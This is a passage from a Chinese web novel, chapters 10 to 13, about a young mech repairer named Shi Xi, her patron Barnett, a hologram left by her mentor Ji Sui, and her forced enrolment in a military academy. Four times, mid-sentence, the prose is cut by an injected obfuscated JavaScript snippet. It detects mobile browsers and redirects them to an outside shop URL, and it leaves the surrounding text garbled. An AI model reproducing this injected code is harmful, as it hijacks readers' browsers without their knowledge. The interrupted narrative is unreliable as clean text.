只要想,读心者和被读心对象能在脑海中无障碍交谈。 时夕:【难道不是?】 心理问题也是问题,这不就是她搞定的吗。 【不是,是老子今天开心自己动起来的,现在有心情了,真想去外面飞两圈,换成之前那丑得要死的豹纹,老子宁愿一辈子缩在机甲钮里,绝对不出来丢人现眼!】 面对重度自恋的机甲时夕内心白眼快翻上天了。 她扯了扯嘴角,“巴奈特先生还是叫我小夕就好,不用叫什么时大师的,我听着不习惯。” 时夕以为她说的这句话其实是一种变相反驳。 她根本就不是什么机甲大师。 结果巴奈特的想法却与她背道而驰,认为是她嫌弃“大师”这称呼太过于高调。 巴奈特挑眉会心一笑:“好的小时,那你也别叫我什么先生了,叫我叔叔吧。” 能和如此年轻有天赋的机甲大师搞好关系是他的荣幸! 他一定要想办法在时夕面前多介绍一下他的圆圆! 这样的话,指不定等以后时夕成为一级宗师,她愿意给圆圆设计一架SS级机甲! 时夕如果知道这位用心良苦的老父亲脑子里的想法,一定会大呼一声臣妾做不到啊! 可惜,拥有读心术的她技能目标点歪了,压根读不懂人类复杂多变的心思。 折腾了两天,时夕忽然想起来她似乎还不知道这架综合型战斗机甲叫什么名字。 换个称呼能拉近和财神爷关系,时夕从善如流:“对了,巴奈特叔叔,你的这架机甲有名字吗?” 一般爱护机甲的人都会给自己的机甲起个不同于机甲型号,意义特殊的名字。 “有的,它的名字是秩序守卫。” 时夕:……这么冷峻严肃的名字和自恋狂机甲真是一点也不搭边。 说起机甲,巴奈特目光满含思念,他抚摸着机甲冷冰冰的外壳。 “这架机甲是圆圆的母亲留下来,也就是我的妻子,是她给机甲起的名字,她是一个了不起的机甲战士,去年我们的孩子圆圆也考上了军校的机甲单兵系。” 提及妻儿这位大富豪的语气中充满了骄傲与自豪。 时夕挑眉,机甲战士和富商,这样的夫妻组合还挺少见。 她真心实意地夸奖道:“令嫒女承母业,相信她一定是个十分优秀的女孩子。” 听到这句话,巴奈特愣神片刻随后大笑道:“哈哈哈哈!你说圆圆?他其实是个男孩子,只不过他妈妈给他定下的小名叫圆圆而已,小时你误会了。” 陷入名字刻板印象的时夕:…… 不是,巴奈特太太你这么会给机甲起名字,给自己儿子起个这么容易让人误会随便的名字真的好吗? 察觉到时夕的语塞,巴奈特笑着给她看了儿子小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094621|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候的照片。 照片上白白胖胖的小孩圆滚滚的,和他爸简直一个模子刻出来的,都有一头微卷的棕发,不过父子两的眼睛瞳色区别挺大。 一个深棕一个则是少见的浅淡粉色。 时夕瞄了眼那大粉钻,猜测这孩子的瞳色大概是随了他母亲。 * 机甲恢复正常后,时夕向巴奈特借了星舰上空出来的修理室。 关上大门,一架浑身漆黑造型古怪的机甲凭空出现在空荡荡的修理室。 先前在垃圾星上,为了不引人注目,时夕在那场灾难结束后一直没有将这架机甲放出来。 季绥留下的这架机甲在外形结构上和综合型战斗机甲【秩序守卫】存在巨大差异。 后者总体结构趋近人类,拥有完整的头部,身躯,四肢,能够靠着双脚直立在地面,攻击动作,行为模式贴合人类的逻辑,是一架完美符合大众审美潮流的机甲。 而前者,比起站立这种说法,它更像是爬行动物般撑起四肢匍匐在地面上,和人类的外形大相径庭,除了主要部位,黑色机甲的背后甚至还多出来一条钢骨链接而成的金属尾巴。 时夕这两天在星网上狠狠恶补了机甲的相关知识,终于能够清楚地分辨出了两架机甲之间的差别。 巴奈特的【秩序守卫】,类人形战斗机甲,是如今宇宙中大众眼里最标准的机甲。 机甲师们根据机甲的高度重量功能以及搭载武器,飞行速度等因素,将这类机甲划分为三个不同的类型,分别是轻型机甲,综合型机甲以及重型机甲。 三千年前,星历3060年,机甲大师昆山玉,辞升海两人联手设计出初代类人形机甲对抗星空兽。 人们坚信威力强大的机甲能够开创出一个没有星空兽存在的安全世界,为全人类带来希望的曙光,因此类人形机甲也被称为“曙光机甲”。 此后的一千年内,无数后来者机甲师们都以两位大师为榜样,在初代曙光机甲的基础上,对机甲各项功能不断做出改进创新。 由于昆山玉和辞升海大师两人分别创立了两所不同的帝国军校,曙光机甲也被众人称之为“学院派机甲”。 曙光机甲诞生的一千年后,星空兽并没有因为机甲的出现而减少数量,这些恐怖的宇宙怪兽甚至愈加活跃,在帝国和联邦的北部方位,一道划破次元的空间裂缝出现。 从那道邪恶的裂缝中,源源不断的星空兽不知疲倦地爬出入侵人们生活的美好世界。 裂缝的出现让北部星域无数人民流离失所,被迫离开母星。 那片危险的地方被隔绝出来,成为机甲战士们长期抗击星空兽的战场。 被派上战场的机甲师们和星空兽打交道的时间越来越多。 渐渐地,这批机甲师望着裂缝中的星空兽,开辟了全新的思路。 他们不断观察星空兽,并以作乱的恐怖怪兽为灵感,成功设计出完全脱离于曙光机甲设计思路束缚的类兽型机甲。 这类迟了一千年才出现的机甲尽管在战场的表现后来者居上,但由于其过于古怪外形和野蛮原始的作战方式,被帝国星盟不少人厌恶,他们嘲笑地称之为“野兽派机甲”。 而季绥留下的机甲正是一架被排斥打压的类兽形机甲。 11. 第 11 章 时夕不知道季绥留下的机甲叫什么名字。 想到巴奈特的【秩序守卫】她决定给这架黑黢黢,光看外表有点像鳄鱼的机甲起个名字。 她绕着这架庞大的野兽派机甲走了一圈,仔细观察着机甲身上的特征。 锋利的长吻,粗壮的四肢,钢鞭一般极具力量感的尾部…… 时夕的手指摩挲着下巴思忖片刻后拍板决定, “就叫你暗夜主龙吧。” 鸟类和鳄鱼共同祖先,起个好名字,指不定以后还能超进化。 * 巴奈特为了修理机甲下了血本,修理室内陈列着各种专业工具。 时夕一眼扫过去,发现都是些她能叫出名字并且从小就摸过的东西。 感觉有点不妙啊。 她叹了口气,卷起袖子熟练地抄起干事的家伙。 野兽派机甲的驾驶舱一般在头部和颈部的链接处。 时夕掀开驾驶舱上的金属板。 在外附增力手套的帮助下,两米宽几十厘米厚的颈部护甲被她一人轻松摘下。 花了整整三个小时,时夕才把【暗夜主龙】的金属外壳拆卸完毕。 失去最为重要防御部分,机甲内部结构一览无余。 果然,全是她见过设计样式,在季绥曾经布置过的作业中。 时夕:……大意了,以前光顾着为了营养液学习,忘记抽那臭老头了。 她怎么就没想过那些稀奇古怪的东西组合起来套个坚硬一点的壳子就能上战场干星空兽呢。 季绥探听过时夕对机甲态度,单方面认为她对一切机甲不感兴趣,特地煞费苦心地搞拆分着教学。 一个苦心孤诣地教,一个稀里糊涂地学。 垃圾星上的怪老头花费多年的时间在当事人不知情的情况下把人培养成了野兽派机甲师。 得知真相的时夕仅仅用了三秒就接受了这个事实。 还是那句话,技能点多点,只有好处没有坏处。 * 有了先前的知识储备,想要修好【暗夜主龙】并不难。 时夕忙忙碌碌爬上趴下终于找到了机甲目前存在的问题。 硬件部分,金属护甲有所损毁,背部装配的两门离子炮报废,颈部牵引链断裂,尾部钢骨长度也不对,大概是之前和星空兽打的时候被咬断吞下去了。 时夕进入机甲舱,尝试启动机甲,无反应。 软件部分的驾驶系统也出了问题。 如果有足够材料,硬件部分以时夕现在的修理水平完全能够搞定。 可问题是,她没有钱。 还有最关键的一点,她压根没有购买机甲所用一切材料的资格。 毫无疑问,成功击杀一头星空兽幼兽的【暗夜主龙】是战斗型机甲。 作为威力巨大的战争机器,两派机甲只是在设计思路上区别大,制作耗材上其实大同小异。 而制作一架正规的符合军用标准的曙光机甲所需要用到的主要金属材料极其特殊。 这类特殊的金属被机甲师们称之为“超钛金”,硬度高抗腐蚀性耐热性耐低温性拉满,是制作机甲以及各类武器的不二选择。 洛维兰帝国政府和军方严格管控着市场中超钛金的交易和流通。 在中央星域以及东部南部西部这三个星域,普通人禁止贩售购买超钛金,只有经过层层审批具备特殊资质的企业和通过帝国机甲师等级测试的持证机甲师才有资格购买。 陷入僵局的时夕忽然想到了季绥放在保险箱里的空间钮。 季绥是机甲的主人,他也许准备了修理机甲所需要的备用超钛金。 时夕打开他留下的空间钮,发现里面只放了一只黑色的铁盒,除此之外空无一物。 奇怪了,怎么会没有东西呢? 她拿出铁盒,盒子正中间镶嵌着一颗蓝色的宝石,缠绕着的华丽暗纹盘旋其上。 当时夕的手指触碰到宝石的瞬间,一道熟悉身影以全息投影的方式出现在她眼前。 时夕呆滞半晌,这不会是那臭老头提前留下的遗嘱吧。 她抬手正准备整理一下自己的仪容仪表,影像中的季绥褪去严肃的表情笑着开口: “是时夕吧?虽然不知道你是在哪种情况下打开的盒子,不过还是很高兴见到你,我是季绥留下的智能影像,你可以尝试和我进行对话。” 时夕照做,“这里面有什么?我需要超钛金修理你留下的那架机甲。” “很可惜,盒子里并没有你想要的东西,恭喜你愿意接受自己的新身份,顺带一提,作为礼物,从现在开始,那架机甲归你了,你可以给他起个响亮的名字。” 时夕嘴角抽搐:好大方的老头,竟然把一架半报废的机甲送给她。 她还是不死心,继续问:“里面真的没有超钛金?那你能想办法给我弄一批吗?” 只要把【暗夜主龙】修好,她手中就多了个生存底牌,以后如果不幸的再次碰到星空兽,她或许再也不用那么狼狈仓皇的逃跑。 季绥听后摇头:“想要你可以自己去买嘛。” 听听,听听,这何不食肉糜的话亏这混蛋老头也能说出口。 时夕大声强调:“我没钱!我买不到!我不是机甲师!” “谁说你不是的?我之前教你那么多东西又不是白教的。” 时夕扶额,这听不懂人话的哪里是人工智能,分明是人工智障。 “我的意思是,我没有专业机甲师执照。” 她个野路子自学出身的,和那些正规渠道按部就班考证的机甲师能比吗? 别说考证了,自从来到这个世界,她连一天正经的学都没上过,在别人眼里她大概还是个没有完成十四年义务教育的绝望文盲。 季绥还是一脸云淡风情的样子,他摆摆手: “考证这事简单,我提前都给你安排好了,不用谢,等到时候你成功通过二级机甲师的资格考核,盒子里面的东西也是你的。” 时夕已经懒得说话了:“……” 一百万个人里面都不一定出一个机甲师,别把考证说得像烤红薯啊! 见人保持沉默,季绥开口,“我能出现的时间不多了,你还有什么事情要问吗?” 时夕闻言垂眸,声音闷闷的,“你还好吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094622|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 虽然只是一道影像,她还是期望着能从中得到些许安慰。 “……” 修理室内一片寂静。 就当时夕以为她等不到一个好的答案时,影像缓缓道:“我很好,你不用担心,也不用着急找我。” 听到他这句话的时夕愕然抬头。 提前预留好的影像怎么会知道她现在心里的想法? 正当她准备进一步追问时,蓝宝石闪烁两下,那道熟悉的身影消失在她眼前。 时夕愤愤然咬牙,意识到自己有可能被耍人耍了她气笑了。 “好啊!季绥你个混蛋老头!你最好给我藏得好好的,别被我找到了!” * 宇宙坐标未知,某颗星球上。 唯一的光源消失,紧闭的房间内陷入一片黑暗。 一直守在旁边围观完师徒两人交谈全程的男人出声问:“这就是你消失了那么久,在垃圾星精心呵护拉扯大的徒弟?” 被问话的人坐在椅子上一言不发,眉头紧皱不知道在想什么。 男人双手环胸啧了一声,“不想回答就算了。” 安静没多久,男人还是忍不住好奇想打听更多消息。 “她知道自己从小喝到大的营养液都是私人定制的高端货吗?价值半颗矿产小行星呢,啧啧啧,养孩子真不容易。” 男人一个人说得起劲:“真是搞不懂你,如果她将来注定成为机甲师,还有必要专门锻炼她的身手吗?反正机甲师不都一样,全是扛不住我一拳的弱鸡。” 椅子上的老人在听到男人略带侮辱性的发言后,冷冷地瞥了他一眼。 分明是满脸皱纹的模样,说话的声音却意外年轻,不疾不徐,违和感十足。 “就是因为这样,我才希望她不要重蹈我的覆辙。” 察觉到这句话的语气不对劲,男人识趣的收回发言,“好好好,不是不是,说起来她还勉强算我和其他那几个教出来的半个徒弟呢,我们这些人锻炼出来的人怎么会是弱鸡呢。” 男人没有说错话,时夕从十岁开始与之对战的,不知道把她打到过多少次的格斗机器人,动作模板的来源正是他和他的兄弟们。 “你说她能走到这里吗?” “不知道。”季绥语气平淡,“不过我相信她。” 就像男人对自己身手很自信一样,他也对自己的教学水平十分自信。 更何况时夕是个天才,更准确点来说,她是天才中的天才,是全宇宙独一无二的存在。 在捡到她之前季绥从来没有见到过哪个人能像她一样拥有堪称恐怖的学习能力。 这样的人绝对不能被埋没在一颗小小的偏僻狭隘的垃圾星。 明珠蒙尘是这个世界上最可恶的事情之一。 * 男人离开后,季绥打开灯独自一人伏在案前,执笔写下一封字句言辞相当正式的推荐信。 等到纹状复杂的火漆印章慢慢冷却,他起身离开房间亲手将这封推荐信寄出去。 收信人那一栏填写的信息是:中央星域,火炬星系,凯旋星,天昭帝国军校校长孟烶收。 12. 第 12 章 上学 or 南部星域,艾若巴星第一星港。 大型运输星舰按照塔台指示缓缓入港,提前清空的停泊点边站着一排手持武器着装统一的士兵,他们来这的目的是保护这一船价值昂贵的超钛金。 运输舰稳稳停靠后打开舱门,提前在星港等待着的男人扶了扶鼻梁上滑落的眼镜向星舰走去,两名助手紧随其后。 负责把守看管星舰士兵确认完男人的身份后点头敬礼。 “图非大师。” “嗯。”男人颔首,三人畅通无阻走进运输货舱。 图非一次性检查了三批硬度不同的超钛金,他挑选出其中认为合格的部分金属送往他的私人工作室。 这一船剩下的超钛金则会被送进坐落在南部星域的帝国军校,成为学校里机甲维修与设计系学生的期末考核材料。 图非作为业界知名的二级机甲师,距离登峰造极的一级机甲宗师仅有一步之遥。 三月前他被邀请到南部星域参加一场机甲研讨会,说是研讨会,其实更像是他个人成名经验讲座,其他人听,他单方面讲。 和其他四个星域相比,南部星域的机甲师相对较少,他享受到的特权比还未功成名就的在校生们多得多。 回程的飞行车上。 难得找到一批差强人意的超钛金,图非心情还算不错,他忽然想起了那个找上门请他修理机甲的富商。 一架型号老旧的A级战斗机甲而已,看在报酬还算丰厚的份上,他可以考虑抽空修一修。 “后面半个月应该没什么日程安排,之前的那台机甲还在吗?” 坐在他旁边的助手心领神会,连忙和巴奈特方的工作人员联系。 图非摘掉眼镜,靠在座位上闭眼小憩。 几分钟,助手略显尴尬的声音响起,“大师……那个富商的机甲已经被其他人修好了。” 听到这句话,另外一个坐在前方的助手坐不住了。 他皱眉不满抱怨道:“不是说那架A级甲连东部星域的那群机甲师都束手无策吗?既然特地求到我们这来,怎么还擅自让其他人插手!” 图非睁开眼,脸上没什么表情,他问:“修好那架机甲的机甲师是什么身份?” “据说好像是那富商在古厄坦星系无意间帮过的一个小女孩,叫时夕,年纪不大,我在机甲师协会录入的名单上没找到这个名字。” 在洛维兰帝国,但凡是执业机甲师,手上有证,除了那些加入军方涉密工程的机甲师,其他机甲师的名字都会被机甲师协会录入。 “没证!?肯定是那个富商被人骗了,要不就是那小女孩纯粹运气好,误打误撞把机甲瞎修好了!” “话也不能这么说吧……” 图非打断两人争执,“好了,安静,既然那架A级甲已经被人修好了,其他的就与我们无关。” 说完他又看了自己去年才招收的两名助手,“你们要记住,在修理机甲这方面没有任何运气可言,会就是会,不会就是不会。” 他语气逐渐变得严肃起来, “一个学艺不精的机甲师,他能带来的危害某种程度上比一头作乱的星空兽还要严重。” 两名助手齐齐点头,谨记教诲。 飞行车内重新恢复安静。 再次闭上眼图非则是在心里默念了声“时夕”这个名字。 年纪不大吗…… * 与此同时,一艘超豪华私人大型星舰上,每天好吃好喝,被财神爷供着的时夕都快要乐不思蜀了。 一没钱,二没证,修理【暗夜主龙】这件事暂时被她抛在了脑后。 不过,她自己的机甲修不好,倒是有一堆其他人的机甲排着队赶着让她来修。 导致这一场面出现的人正是巴奈特。 自从时夕把【秩序守卫】修好后,他顿觉自己慧眼识英雄,巴不得昭告全宇宙他的船上现在有一位厉害的机甲师。 好在巴奈特考虑到时夕平日作风低调,他没有真的上星网登报大肆赞扬她。 他要真这么做了,星网上那些火眼金睛的网友肯定会把时夕的个人隐私扒个底朝天,她不会修理曙光机甲这件事肯定瞒都瞒不住。 没让时大师进入公众视野,巴奈特觉得有点遗憾。 于是他在自己的交际圈里发布了一长段在时夕看来完全是溢美之词的文章,还顺带附上了时夕的光脑联系方式。 那些和巴奈特关系好的朋友,以及想要和这位富豪“交朋友”的人在看完文章后直接把时夕给吓得关掉了光脑加好友功能。 加上好友的人不能无视。 时夕实在是没招了,躲不掉,跑不了,只能远程看了两架观赏型机甲,写了份修理建议发过去。 这类机甲和内部构造复杂精密的战斗机甲不同,它们修理起来还算简单,而且让她修理的两架机甲也只是出了点小毛病,问题不大。 解决完能解决的,时夕给其他那些比较难搞的机甲纷纷发放了爱的号码牌,让他们再等等,能拖一天是一天。 时夕想如果没有这些要修的机甲,她的豪华星舰星际之旅大概会过得更快乐,而不是像现在这样: 人前露出一副见到谁都笑嘻嘻胸有成竹的样子,人后独自躲在阴暗的舱房里抱着借来《跟我这样做,三天教你速成机甲修理大师》狂啃。 …… 看书看久了,眼睛有点累。 时夕把两个砖头那样厚的书放在一边,双手齐上阵来了套眼保健操。 做完操,她眼部疲劳不仅没得到缓解,右眼皮更是直接开始狂跳。 压都压不住的那种。 左眼跳财,右眼……封建迷信害死人,信不得。 时夕美美泡了个澡,忽视不断抽搐的右眼皮,倒在床上一觉睡了个爽。 * 南部星域之行目的已达到,巴奈特的星舰返航,多次跃迁后回到东部星域,十天后降落在他的私人星港。 时夕在他那能走断腿的豪华庄园里才待了两天,就有一堆人打着让她修理机甲的名号找上门。 这些人醉翁之意不在酒,那两份轻飘飘的修理意见可没这么大的威力。 或许里面真有要修机甲的,但更多的人是把她当成“工具人”。 时夕不想被当成骗子也不想成为别人的垫脚石,摸清楚东部星域目前的状况后,她收拾好东西准备跑路。 第三天,向巴奈特辞行时,这位大富豪圆润的脸庞挂满不舍。 “时大师,你真要走了,不多待几天?我正好要去中央星域一趟,给圆圆送机甲,我还想着带你一起去,让圆圆当面感谢你呢。” 时夕微笑拒绝,她随便找了个理由:“我想在东部星域各处找找,希望能快点找到我的养父,他年纪大了,独自一人在外面漂泊我不放心。” 巴奈特在心里嘀咕了两句这关心对象位置是不是反了。 忽然他猛地拍了拍脑上地中海,“对了!时大师,你把你养父的信息也发给我一份,我也来帮你寻亲,多一个人多一份力量。” 别的不说,在东部星域找个人他还是手拿把掐的。 时夕想了想没有拒绝,她把季绥的照片发了过去。 这是一张偷拍的照片,那固执的老头不喜欢拍照。 照片是她做错事被训时候悄咪咪拍下的。 季绥训人的时候那叫一个气势汹汹,被训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094623|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老油条时夕左耳进右耳出,偷拍了这张正脸照。 照片上的老人板着脸凶相毕露,眉心折痕明显,看起来十分不好惹。 巴奈特看了眼照片,又看了眼前方笑得一脸和气的小女孩,心下纳罕:这两人之间的气质差距未免也太大了,所以到底是怎么教出来的小孩。 时夕朝好心财神爷挥挥手告别,转身还没走几步呢,她光脑突然滴滴两声。 她停下脚步低头查看信息,一目十行浏览完毕。 她又哒哒两步跑了回来。 “那个,巴奈特先生,你帮我看看,我是不是收到诈骗短信了?” 她小地方出来的人没见过这东西啊! 什么叫做《天昭帝国军校准录取通知书》?录取通知书这种东西还有“准”字的吗? 反正她看不懂,还是让见多识广的人来帮她解读一下吧。 巴奈特点开那封名头熟悉的录取通知书,快速看完后惊喜万分。 “时大师!好消息啊!你这是被天昭的机甲维修与设计系给录取了!圆圆刚好也在那,没想到你们竟然会是校友!时大师和我们一家真是太有缘分了!” 大师不愧是大师,已经到这水平了还不忘记返璞归真夯实基础知识。 了解时夕经济状况的巴奈特一边激动地拍拍她的肩膀,一边保证道:“大师!你放心好了,进修期间你的学费伙食费我全包了!” 大师以后肯定还有万千赚钱的办法,可雪中送炭方显难能可贵啊! 时夕现在最担心的压根就不是学费够不够。 她神情少见的焦急,猛猛急点着最下行的小字,“巴奈特先生,这上面说我如果不去上学就要去蹲局子是真的还是假的?” 不仅要蹲,而且一蹲还是整整三年! 三年啊!哪吒都出生了! 巴奈特凑近一看,“嘶……我在圆圆的通知书上好像没看到过这行字啊,不过伪造军校通知书是犯法的,能写上去的大概率是真的,毕竟帝国军校毕业的军校生都是军官预备役……” 惊闻噩耗,轰隆五声,闪电炸开脑子。 时夕如同磅礴雨夜中被雷劈成两半头顶冒黑烟的小白杨,木木定在原地一动不动,只剩瞪大的绿眼珠子疯狂颤动。 所以说,不去上学就要去坐牢吗?这么极端? 不是!都换了个世界了还有扫盲工作啊? 拜托!不要逼小学没毕业的文盲去上学啊! 时夕亮起星际友好手势,恨不得把这通知书直接给撕了! 这学校有毛病吧!那么多其他人不抓,抓她去上学! * 中央星域,凯旋星,天昭帝国军校。 “……她是我的学生,同时也是我为母校准备的一份满载惊喜的礼物……请相信她,给予她足够多的尊重与包容……” “……希望您能在通知书上附上一行小字,提醒她……” 校长办公室内,精神矍铄的黑发老人将远方寄来的已经反反复复读上好几遍的推荐信放进保险柜内。 想到自己刚刚发出去的那封特殊定制的“准录取通知书”,老人眼底笑意一闪而逝。 “什么不情不愿的礼物,还要校长亲自吓着来天昭读书……” 办公室的大门被人敲响。 “进。” “校长,你找我啊?” 中气十足的大嗓门,声音洪亮得像个喇叭。 “老徐,你要礼物不要?” “哎呦我去,要要要!校长你上哪里发财了,居然还给我准备礼物,你这也太客气了。” “那行,这个插班生就插|你班上了。” “啊!!!?” 13. 第 13 章 “唉。” 徐威扫了眼桌子上摆着的那份过于简短的学生档案,头疼地换了个姿势叹气。 他们五班是比前面四个班平均成绩差了点没错,但也不能这么欺负人吧! 校长这次真是太过分了!竟然往他班里塞一个连毕业记录都没有的学生。 说好听点是在家自学成才,说不好听点那不就是没在学校上过学吗? 还说是什么“礼物”,他看啊,应该是个谁都不想接手的烫手山芋,他运气不好给摊上了。 徐威视线落在档案照片上,哎呦一声闭上眼, “看起来这么文静乖巧一小姑娘,怎么就想着走后门呢,堂堂正正考进来不行吗?搞这套特殊化,这背景是得有多硬啊……” 好在孟校长答应了他的据理力争。 如果这插班生在五班待满一年,成绩还是追不上,他可以让她转班。 得到这个保证,徐威才勉勉强强将人收下。 …… 十五天后,接到消息的徐威冲他在班上的“得力爱将”招手。 “来来来,小燕啊,交给你个光荣而艰巨的任务。” 长着一双无辜下垂狗狗眼的男生笑呵呵跑过来,“什么事啊老徐。” 徐威一巴掌打在他后脑勺上,“没大没小的臭小子,老徐也是你叫的吗?我是你班主任!” 黑发男生笑容不变,一副哥两好的模样把手搭在徐威肩膀上。 “哎呀,我和你是什么关系,咱们都认识一年这么熟了,叫一声老徐又不会少一块肉。” “去去去,跟说正事呢,别搁这打诨插科的。” “好的!老师!明白!老师!” 徐威甩开这小子的手,清清嗓子布置任务,“咳咳咳,是这样的,前段时间孟校长往我们五班安了个插班生,名字叫时夕,现在她到了,可能找不到路,你去星港那边接一接。” 燕不言表情惊讶做作,“天哪!我们五班也是好起来了!既然会有关系户插班!” 徐威一脚踹过去,“好好说话!这是你未来同学的照片,后面有她的光脑号,记得加上,拿好了,快点去接人!” 燕不言接过照片,长眉一挑道:“这位时同学看起来像是你们当老师的最喜欢的一类学生呢。” 徐威唉声叹气,“一张照片能看出些什么,别磨蹭了,快去接!” 要真是他喜欢的省心孩子那就好喽。 * 凯旋星星港,行色匆忙的旅客们穿梭在其中。 时夕站在高处阶梯上目光来回扫视着人群,她根本没有看到穿着天昭黑色校服的学生。 本来巴奈特要送她到天昭校门口的,结果他临时有事,别说送她去学校了,就连他宝贝圆圆的机甲都没办法亲自给。 这位忙碌的大富豪无奈之下,只好拜托时夕让她将【秩序守卫】交给他的儿子宫圆。 没错,巴奈特的儿子不姓“钱宁”,而是随了他妻子的姓氏。 时夕一想到等下要来接她的棕发肌肉壮男小名居然叫“圆圆”就憋不住笑。 这一只威风凛凛的老虎叫软绵绵的咪咪有什么区别,哈哈哈哈哈。 她要不要提前想些伤心的事情锻炼一下冷脸,不然等下见到真不小心笑出来那就尴尬了。 时夕站在出口处足足等了三个小时也没见到宫圆。 巴奈特说他的儿子是一个很守时的人,对方应该是有什么事情耽搁了,要不说是父子呢。 被人放鸽子的时夕也没生气,她点开凯旋星的地图。 学校离星港有一段距离,坐公交车大概要半个小时。 眼看天色马上就要暗下来了,时夕决定自己一个人前往天昭。 她弯腰提起没放什么的行礼箱朝着星港外走去。 和时夕所处的繁忙喧闹的三出口相反方向。 军校学生专用的六出口处,冷冷清清的,偶尔只能看到三两个穿着黑色制服或是蓝色制服的学生从这走过。 站没站相的燕不言抖了抖发麻的腿,“老徐这个不靠谱的,他不会记错时间了吧?” 怎么他等了这么久,都还没等到那位插班的时同学。 他也不是没有尝试过加那位同学的光脑,但对方的光脑设置了禁止添加联系人,他想加也加不上啊。 人联系不到,为了完成老徐交代的任务,燕不言之能无聊地干等着。 余光一瞥,离他十米处,正笔直站着一个和他穿着同样黑色制服的天昭学生的。 看着肌肉发达的体格,应该是机甲单兵系的那群单细胞没得跑了。 机甲单兵系的学生打起架来总是弄坏教学机甲,虽然知道是一件正常的,难以避免的事,但对于大多数格外爱护机甲的维修与设计系学生来说这是无法容忍的,两个系的关系比较微妙。 燕不言疑惑地欸了一声,他怎么记得这位好像也和他一样在这里等了快三个小时了。 他掏出照片瞅了眼,不会这么巧吧。 性格外向,就差没把“自来熟”三个字纹脸上的燕不言好奇凑过去。 “同学,你也是在等人啊?你等的人叫什么名字?男的女的?能和我说说吗?” 面对突然靠近莫名其妙和他搭话人,宫圆眼神戒备地后退一大步。 这谁啊?为什么突然和他说话?他和他认识吗? 见人没说话,燕不言提高音调,手还在人面前晃了晃: “喂喂喂!同学同学!听得到我说话吗?我没其他意思,就是想和你打听打听而已,我是机甲维修与设计系一年级的学生,我叫燕不言,是来接一个女同学的。” 成功从他话中提取到关键信息的宫圆撤回一步。 他打开手中的光脑照片问,“你要接的女生是这个?” 燕不言一看,惊喜笑出声:“诶嘿,还真是巧呢!” 他扬了扬手中的照片,一模一样的铂金色短发和翠绿色的眼睛。 “就是她,这位女同学的名字叫时夕。” 宫圆出声好心提醒:“那你可以走了,我把人接到会带她回学校的。” 燕不言摆手,“那怎么行,她是我同学又不是你同学,我不知道你和她的关系,还是我亲自来接比较放心。” 劝人未果的宫圆憋了半天憋出两个字,“……随你。” 无聊人士终于找到组织了就是会忍不住说动说西,想和别人聊天。 燕不言叽里咕噜说了一大堆,结果对方鸟都不鸟他,高冷至极。 不是,都一个学校的有必要这么冷漠吗?好狂啊这小子,简直目中无人! 第一个学年,机甲单兵系和机甲设计与维修系的学生们在校内产生交集的机会并不多。 因此算是初次见面的燕不言和宫圆的对彼此的第一印象都不是很好。 一个觉得对方过于高傲,一个嫌弃对方太过聒噪。 两人等啊等,等到夜晚的钟声响起都没等到他们要接的人。 殊不知,他们守株待兔的那只兔,早就自己蹦回了该去的地方。 * 时夕一个人提着箱子走出星港后,人生地不熟的她朝四周张望,辨别基本方向。 有人的地方就有不安定因素。 年轻漂亮,身上又没穿着不能动的军校制服,一脸纯善的小女生很快就成为了某些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在巷内众人诧异的目光中,他自顾自地脱下身上的黑色制服叠好放在一边。 “我先说好哦,这位美丽的女孩,你不要因为我救了你,从此就爱上我,你要知道,高贵的孤狼是不会有同行的伙伴的。” 紫色狼尾打完预防针,他拆掉袖口,刚挽起袖子准备替天行道教训这群小流氓时,他抬眼看到了那名呼救的“美丽的女孩”一拳挥了过去。 “啊……!” 三颗带血的牙齿从嘴里爆出,飙到巷口,仅仅差那么两厘米就会砸到杵在那的人。 欧斯文洛眨眨眼:……不是?之前细弱的求救声呢?是他耳朵不好出现幻听了吗? 时夕朝这位姗姗来迟的好心自恋狂翻了个白眼,然后无视他继续干自己的架。 “住手啊!好汉饶命!不对,不对女侠饶命!哎呦!” “……啊啊!”杀鸡惨叫绵绵不绝。 没过多久,生龙活虎的鸡冠头在时夕拳头下变成了一只发病的瘟鸡。 他那群看热闹的小弟也未幸免于难的。 时夕把人从地上单手举了起来,啪啪连扇两巴掌,硬生生把昏迷中的人给扇醒了。 “这位热情的导游哥哥,能麻烦你告诉我去天昭帝国军校的路怎么走吗?人家迷路了呢,需要你的帮助。” 